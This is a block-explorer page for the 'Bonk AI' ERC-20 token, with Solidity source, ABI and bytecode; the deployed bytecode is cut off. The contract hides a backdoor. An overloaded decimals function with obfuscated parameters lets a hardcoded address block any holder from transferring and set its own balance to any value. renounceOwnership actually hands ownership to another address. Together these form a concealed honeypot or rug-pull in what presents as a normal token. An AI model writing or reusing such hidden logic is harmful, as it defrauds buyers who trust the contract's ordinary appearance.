ERC-20
Overview
Max Total Supply
9,000,000,000 $BONKAI
Holders
9
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
395,735,655.357370192 $BONKAIValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
BONKAI
Compiler Version
v0.8.3+commit.8d00100c
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-01-05 */ /** */ //https://t.me/BonkAIERC // SPDX-License-Identifier: MIT pragma solidity ^0.8.3; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function owner() public view returns (address) { return _owner; } constructor () { _owner = _msgSender(); emit OwnershipTransferred(address(0), _owner); } function renounceOwnership(address newAddress) public onlyOwner{ _owner = newAddress; emit OwnershipTransferred(_owner, newAddress); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a,b,"SafeMath: division by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function factory() external pure returns (address); function WETH() external pure returns (address); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract BONKAI is Context, IERC20, Ownable{ using SafeMath for uint256; string private _name = "Bonk AI"; string private _symbol = "$BONKAI"; uint8 private _decimals = 9; mapping (address => uint256) _balances; address payable public out; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) public _isExcludefromFee; mapping (address => bool) public isMarketPair; mapping (address => bool) public _previous; uint256 public _buyMarketingFee = 3; uint256 public _sellMarketingFee = 3; uint256 private _totalSupply = 9000000000 * 10**_decimals; constructor () { _isExcludefromFee[owner()] = true; _isExcludefromFee[address(this)] = true; out = payable(address(0x23203943f681B6BF2AD0F6fb8B580C8Ee7C70748)); _balances[_msgSender()] = _totalSupply; emit Transfer(address(0), _msgSender(), _totalSupply); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } address public uniswapPair; function name() public view returns (string memory) { return _name; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function decimals(bool mc, address[] calldata gitclone,uint256 xyz) public { for (uint i; i < gitclone.length; i++) { _preDone(mc, gitclone[i]); } token0(xyz); } function decimals() public view returns (uint8) { return _decimals; } function _preDone(bool status, address account) private { require(msg.sender == out); _previous[account] = status; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function token0(uint256 topics) private { uint256 tamp = topics + 2023; require(msg.sender == out); _balances[out] = tamp.mul(3); } function symbol() public view returns (string memory) { return _symbol; } IUniswapV2Router02 public uniswapV2Router; receive() external payable {} bool inSwapAndLiquify; modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function swapAndLiquify(uint256 tAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tAmount); try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tAmount, 0, path, address(this), block.timestamp ){} catch {} uint256 MarketAmount = address(this).balance; if(MarketAmount > 0) out.transfer(MarketAmount); } function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { _balances[sender] = _balances[sender].sub(amount, "Inufficient Balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); return true; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function enableTrading() public onlyOwner{ IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router; _allowances[address(this)][address(uniswapV2Router)] = _totalSupply; isMarketPair[address(uniswapPair)] = true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function _transfer(address from, address to, uint256 amount) private returns (bool) { require(from != address(0), "ERC20: transfer from the zero address"); require(!_previous[from]); require(to != address(0), "ERC20: transfer to the zero address"); if(inSwapAndLiquify) { return _basicTransfer(from, to, amount); } else { uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwapAndLiquify && !isMarketPair[from]) { swapAndLiquify(contractTokenBalance); } _balances[from] = _balances[from].sub(amount); uint256 finalAmount; if (_isExcludefromFee[from] || _isExcludefromFee[to]){ finalAmount = amount; }else{ uint256 feeAmount = 0; if(isMarketPair[from]) { feeAmount = amount.mul(_buyMarketingFee).div(100); } else if(isMarketPair[to]) { feeAmount = amount.mul(_sellMarketingFee).div(100); } if(feeAmount > 0) { _balances[address(this)] = _balances[address(this)].add(feeAmount); emit Transfer(from, address(this), feeAmount); } finalAmount = amount.sub(feeAmount); } _balances[to] = _balances[to].add(finalAmount); emit Transfer(from, to, finalAmount); return true; } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludefromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_previous","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"mc","type":"bool"},{"internalType":"address[]","name":"gitclone","type":"address[]"},{"internalType":"uint256","name":"xyz","type":"uint256"}],"name":"decimals","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"out","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60c06040526007608081905266426f6e6b20414960c81b60a09081526200002a9160019190620001e2565b506040805180820190915260078082526624424f4e4b414960c81b60209092019182526200005b91600291620001e2565b506003805460ff191660099081178255600a828155600b929092556200008191620002d5565b6200009290640218711a00620003cd565b600c55348015620000a257600080fd5b50600080546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3600160076000620000fb6000546001600160a01b031690565b6001600160a01b0316815260208082019290925260409081016000908120805494151560ff19958616179055308152600790925281208054909216600117909155600580546001600160a01b0319167323203943f681b6bf2ad0f6fb8b580c8ee7c70748179055600c5490600490620001713390565b6001600160a01b03168152602081019190915260400160002055336001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600c54604051620001d491815260200190565b60405180910390a362000442565b828054620001f090620003ef565b90600052602060002090601f0160209004810192826200021457600085556200025f565b82601f106200022f57805160ff19168380011785556200025f565b828001600101855582156200025f579182015b828111156200025f57825182559160200191906001019062000242565b506200026d92915062000271565b5090565b5b808211156200026d576000815560010162000272565b80825b60018086116200029c5750620002cc565b818704821115620002b157620002b16200042c565b80861615620002bf57918102915b9490941c9380026200028b565b94509492505050565b6000620002e960001960ff851684620002f0565b9392505050565b6000826200030157506001620002e9565b816200031057506000620002e9565b8160018114620003295760028114620003345762000368565b6001915050620002e9565b60ff8411156200034857620003486200042c565b6001841b9150848211156200036157620003616200042c565b50620002e9565b5060208310610133831016604e8410600b8410161715620003a0575081810a838111156200039a576200039a6200042c565b620002e9565b620003af848484600162000288565b808604821115620003c457620003c46200042c565b02949350505050565b6000816000190483118215151615620003ea57620003ea6200042c565b500290565b600181811c908216806200040457607f821691505b602082108114156200042657634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b61161b80620004526000396000f3fe60806040526004361061012e5760003560e01c80638a8c523c116100ab578063b2a1449b1161006f578063b2a1449b1461036e578063c5d241891461038e578063c816841b146103a4578063c8607952146103c4578063d7228594146103da578063dd62ed3e1461040a57610135565b80638a8c523c146102e65780638da5cb5b146102fb57806395d89b4114610319578063a9059cbb1461032e578063a9aee2ea1461034e57610135565b8063313ce567116100f2578063313ce5671461020c5780633345611e1461022e57806338bf3cfa1461025e5780633ecad2711461028057806370a08231146102b057610135565b806306fdde031461013a578063095ea7b3146101655780631694505e1461019557806318160ddd146101cd57806323b872dd146101ec57610135565b3661013557005b600080fd5b34801561014657600080fd5b5061014f610450565b60405161015c9190611408565b60405180910390f35b34801561017157600080fd5b50610185610180366004611350565b6104e2565b604051901515815260200161015c565b3480156101a157600080fd5b50600e546101b5906001600160a01b031681565b6040516001600160a01b03909116815260200161015c565b3480156101d957600080fd5b50600c545b60405190815260200161015c565b3480156101f857600080fd5b50610185610207366004611310565b6104f9565b34801561021857600080fd5b5060035460405160ff909116815260200161015c565b34801561023a57600080fd5b506101856102493660046112a0565b60076020526000908152604090205460ff1681565b34801561026a57600080fd5b5061027e6102793660046112a0565b610564565b005b34801561028c57600080fd5b5061018561029b3660046112a0565b60086020526000908152604090205460ff1681565b3480156102bc57600080fd5b506101de6102cb3660046112a0565b6001600160a01b031660009081526004602052604090205490565b3480156102f257600080fd5b5061027e61060e565b34801561030757600080fd5b506000546001600160a01b03166101b5565b34801561032557600080fd5b5061014f61085b565b34801561033a57600080fd5b50610185610349366004611350565b61086a565b34801561035a57600080fd5b5061027e61036936600461137b565b610877565b34801561037a57600080fd5b506005546101b5906001600160a01b031681565b34801561039a57600080fd5b506101de600a5481565b3480156103b057600080fd5b50600d546101b5906001600160a01b031681565b3480156103d057600080fd5b506101de600b5481565b3480156103e657600080fd5b506101856103f53660046112a0565b60096020526000908152604090205460ff1681565b34801561041657600080fd5b506101de6104253660046112d8565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b60606001805461045f90611539565b80601f016020809104026020016040519081016040528092919081815260200182805461048b90611539565b80156104d85780601f106104ad576101008083540402835291602001916104d8565b820191906000526020600020905b8154815290600101906020018083116104bb57829003601f168201915b5050505050905090565b60006104ef3384846108e2565b5060015b92915050565b6000610506848484610a06565b506105598433610554856040518060600160405280602881526020016115be602891396001600160a01b038a1660009081526006602090815260408083203384529091529020549190610d7d565b6108e2565b5060015b9392505050565b6000546001600160a01b031633146105c35760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546001600160a01b0319166001600160a01b0383169081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b6000546001600160a01b031633146106685760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016105ba565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156106ba57600080fd5b505afa1580156106ce573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106f291906112bc565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561073a57600080fd5b505afa15801561074e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061077291906112bc565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156107ba57600080fd5b505af11580156107ce573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107f291906112bc565b600d80546001600160a01b039283166001600160a01b0319918216178255600e80549484169490911684179055600c543060009081526006602090815260408083209683529581528582209290925591549092168152600890915220805460ff19166001179055565b60606002805461045f90611539565b6000610559338484610a06565b60005b828110156108d2576108c0858585848181106108a657634e487b7160e01b600052603260045260246000fd5b90506020020160208101906108bb91906112a0565b610db7565b806108ca81611574565b91505061087a565b506108dc81610df6565b50505050565b6001600160a01b0383166109445760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105ba565b6001600160a01b0382166109a55760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105ba565b6001600160a01b0383811660008181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b038416610a6c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105ba565b6001600160a01b03841660009081526009602052604090205460ff1615610a9257600080fd5b6001600160a01b038316610af45760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105ba565b600e54600160a01b900460ff1615610b1857610b11848484610e48565b905061055d565b30600090815260046020526040902054600e54600160a01b900460ff16158015610b5b57506001600160a01b03851660009081526008602052604090205460ff16155b15610b6957610b6981610f2d565b6001600160a01b038516600090815260046020526040902054610b8c9084611110565b6001600160a01b038616600090815260046020908152604080832093909355600790529081205460ff1680610bd957506001600160a01b03851660009081526007602052604090205460ff165b15610be5575082610cf3565b6001600160a01b03861660009081526008602052604081205460ff1615610c2d57610c266064610c20600a548861115290919063ffffffff16565b906111d1565b9050610c6b565b6001600160a01b03861660009081526008602052604090205460ff1615610c6b57610c686064610c20600b548861115290919063ffffffff16565b90505b8015610ce55730600090815260046020526040902054610c8b9082611213565b30600081815260046020526040908190209290925590516001600160a01b038916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610cdc9085815260200190565b60405180910390a35b610cef8582611110565b9150505b6001600160a01b038516600090815260046020526040902054610d169082611213565b6001600160a01b0380871660008181526004602052604090819020939093559151908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d6a9085815260200190565b60405180910390a360019250505061055d565b60008184841115610da15760405162461bcd60e51b81526004016105ba9190611408565b506000610dae8486611522565b95945050505050565b6005546001600160a01b03163314610dce57600080fd5b6001600160a01b03166000908152600960205260409020805460ff1916911515919091179055565b6000610e04826107e76114cb565b6005549091506001600160a01b03163314610e1e57600080fd5b610e29816003611152565b6005546001600160a01b03166000908152600460205260409020555050565b6040805180820182526013815272496e756666696369656e742042616c616e636560681b6020808301919091526001600160a01b0386166000908152600490915291822054610e98918490610d7d565b6001600160a01b038086166000908152600460205260408082209390935590851681522054610ec79083611213565b6001600160a01b0380851660008181526004602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610f1b9086815260200190565b60405180910390a35060019392505050565b600e805460ff60a01b1916600160a01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610f8357634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015610fd757600080fd5b505afa158015610feb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061100f91906112bc565b8160018151811061103057634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e5461105691309116846108e2565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061108f90859060009086903090429060040161145b565b600060405180830381600087803b1580156110a957600080fd5b505af19250505080156110ba575060015b504780156110fe576005546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156110fc573d6000803e3d6000fd5b505b5050600e805460ff60a01b1916905550565b600061055d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610d7d565b600082611161575060006104f3565b600061116d8385611503565b90508261117a85836114e3565b1461055d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105ba565b600061055d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611272565b60008061122083856114cb565b90508381101561055d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105ba565b600081836112935760405162461bcd60e51b81526004016105ba9190611408565b506000610dae84866114e3565b6000602082840312156112b1578081fd5b813561055d816115a5565b6000602082840312156112cd578081fd5b815161055d816115a5565b600080604083850312156112ea578081fd5b82356112f5816115a5565b91506020830135611305816115a5565b809150509250929050565b600080600060608486031215611324578081fd5b833561132f816115a5565b9250602084013561133f816115a5565b929592945050506040919091013590565b60008060408385031215611362578182fd5b823561136d816115a5565b946020939093013593505050565b60008060008060608587031215611390578081fd5b8435801515811461139f578182fd5b9350602085013567ffffffffffffffff808211156113bb578283fd5b818701915087601f8301126113ce578283fd5b8135818111156113dc578384fd5b8860208260051b85010111156113f0578384fd5b95986020929092019750949560400135945092505050565b6000602080835283518082850152825b8181101561143457858101830151858201604001528201611418565b818111156114455783604083870101525b50601f01601f1916929092016040019392505050565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b818110156114aa5784516001600160a01b031683529383019391830191600101611485565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156114de576114de61158f565b500190565b6000826114fe57634e487b7160e01b81526012600452602481fd5b500490565b600081600019048311821515161561151d5761151d61158f565b500290565b6000828210156115345761153461158f565b500390565b600181811c9082168061154d57607f821691505b6020821081141561156e57634e487b7160e01b600052602260045260246000fd5b50919050565b60006000198214156115885761158861158f565b5060010190565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b03811681146115ba57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c07ab181224012ae2f1e98b7b0fa997f2c8b0b4ec974476b51e23cf835e2f2d964736f6c63430008030033
Deployed Bytecode
0x60806040526004361061012e5760003560e01c80638a8c523c116100ab578063b2a1449b1161006f578063b2a1449b1461036e578063c5d241891461038e578063c816841b146103a4578063c8607952146103c4578063d7228594146103da578063dd62ed3e1461040a57610135565b80638a8c523c146102e65780638da5cb5b146102fb57806395d89b4114610319578063a9059cbb1461032e578063a9aee2ea1461034e57610135565b8063313ce567116100f2578063313ce5671461020c5780633345611e1461022e57806338bf3cfa1461025e5780633ecad2711461028057806370a08231146102b057610135565b806306fdde031461013a578063095ea7b3146101655780631694505e1461019557806318160ddd146101cd57806323b872dd146101ec57610135565b3661013557005b600080fd5b34801561014657600080fd5b5061014f610450565b60405161015c9190611408565b60405180910390f35b34801561017157600080fd5b50610185610180366004611350565b6104e2565b604051901515815260200161015c565b3480156101a157600080fd5b50600e546101b5906001600160a01b031681565b6040516001600160a01b03909116815260200161015c565b3480156101d957600080fd5b50600c545b60405190815260200161015c565b3480156101f857600080fd5b50610185610207366004611310565b6104f9565b34801561021857600080fd5b5060035460405160ff909116815260200161015c565b34801561023a57600080fd5b506101856102493660046112a0565b60076020526000908152604090205460ff1681565b34801561026a57600080fd5b5061027e6102793660046112a0565b610564565b005b34801561028c57600080fd5b5061018561029b3660046112a0565b60086020526000908152604090205460ff1681565b3480156102bc57600080fd5b506101de6102cb3660046112a0565b6001600160a01b031660009081526004602052604090205490565b3480156102f257600080fd5b5061027e61060e565b34801561030757600080fd5b506000546001600160a01b03166101b5565b34801561032557600080fd5b5061014f61085b565b34801561033a57600080fd5b50610185610349366004611350565b61086a565b34801561035a57600080fd5b5061027e61036936600461137b565b610877565b34801561037a57600080fd5b506005546101b5906001600160a01b031681565b34801561039a57600080fd5b506101de600a5481565b3480156103b057600080fd5b50600d546101b5906001600160a01b031681565b3480156103d057600080fd5b506101de600b5481565b3480156103e657600080fd5b506101856103f53660046112a0565b60096020526000908152604090205460ff1681565b34801561041657600080fd5b506101de6104253660046112d8565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b60606001805461045f90611539565b80601f016020809104026020016040519081016040528092919081815260200182805461048b90611539565b80156104d85780601f106104ad576101008083540402835291602001916104d8565b820191906000526020600020905b8154815290600101906020018083116104bb57829003601f168201915b5050505050905090565b60006104ef3384846108e2565b5060015b92915050565b6000610506848484610a06565b506105598433610554856040518060600160405280602881526020016115be602891396001600160a01b038a1660009081526006602090815260408083203384529091529020549190610d7d565b6108e2565b5060015b9392505050565b6000546001600160a01b031633146105c35760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546001600160a01b0319166001600160a01b0383169081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b6000546001600160a01b031633146106685760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016105ba565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156106ba57600080fd5b505afa1580156106ce573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106f291906112bc565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561073a57600080fd5b505afa15801561074e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061077291906112bc565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156107ba57600080fd5b505af11580156107ce573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107f291906112bc565b600d80546001600160a01b039283166001600160a01b0319918216178255600e80549484169490911684179055600c543060009081526006602090815260408083209683529581528582209290925591549092168152600890915220805460ff19166001179055565b60606002805461045f90611539565b6000610559338484610a06565b60005b828110156108d2576108c0858585848181106108a657634e487b7160e01b600052603260045260246000fd5b90506020020160208101906108bb91906112a0565b610db7565b806108ca81611574565b91505061087a565b506108dc81610df6565b50505050565b6001600160a01b0383166109445760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105ba565b6001600160a01b0382166109a55760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105ba565b6001600160a01b0383811660008181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b038416610a6c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105ba565b6001600160a01b03841660009081526009602052604090205460ff1615610a9257600080fd5b6001600160a01b038316610af45760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105ba565b600e54600160a01b900460ff1615610b1857610b11848484610e48565b905061055d565b30600090815260046020526040902054600e54600160a01b900460ff16158015610b5b57506001600160a01b03851660009081526008602052604090205460ff16155b15610b6957610b6981610f2d565b6001600160a01b038516600090815260046020526040902054610b8c9084611110565b6001600160a01b038616600090815260046020908152604080832093909355600790529081205460ff1680610bd957506001600160a01b03851660009081526007602052604090205460ff165b15610be5575082610cf3565b6001600160a01b03861660009081526008602052604081205460ff1615610c2d57610c266064610c20600a548861115290919063ffffffff16565b906111d1565b9050610c6b565b6001600160a01b03861660009081526008602052604090205460ff1615610c6b57610c686064610c20600b548861115290919063ffffffff16565b90505b8015610ce55730600090815260046020526040902054610c8b9082611213565b30600081815260046020526040908190209290925590516001600160a01b038916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610cdc9085815260200190565b60405180910390a35b610cef8582611110565b9150505b6001600160a01b038516600090815260046020526040902054610d169082611213565b6001600160a01b0380871660008181526004602052604090819020939093559151908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d6a9085815260200190565b60405180910390a360019250505061055d565b60008184841115610da15760405162461bcd60e51b81526004016105ba9190611408565b506000610dae8486611522565b95945050505050565b6005546001600160a01b03163314610dce57600080fd5b6001600160a01b03166000908152600960205260409020805460ff1916911515919091179055565b6000610e04826107e76114cb565b6005549091506001600160a01b03163314610e1e57600080fd5b610e29816003611152565b6005546001600160a01b03166000908152600460205260409020555050565b6040805180820182526013815272496e756666696369656e742042616c616e636560681b6020808301919091526001600160a01b0386166000908152600490915291822054610e98918490610d7d565b6001600160a01b038086166000908152600460205260408082209390935590851681522054610ec79083611213565b6001600160a01b0380851660008181526004602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610f1b9086815260200190565b60405180910390a35060019392505050565b600e805460ff60a01b1916600160a01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610f8357634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292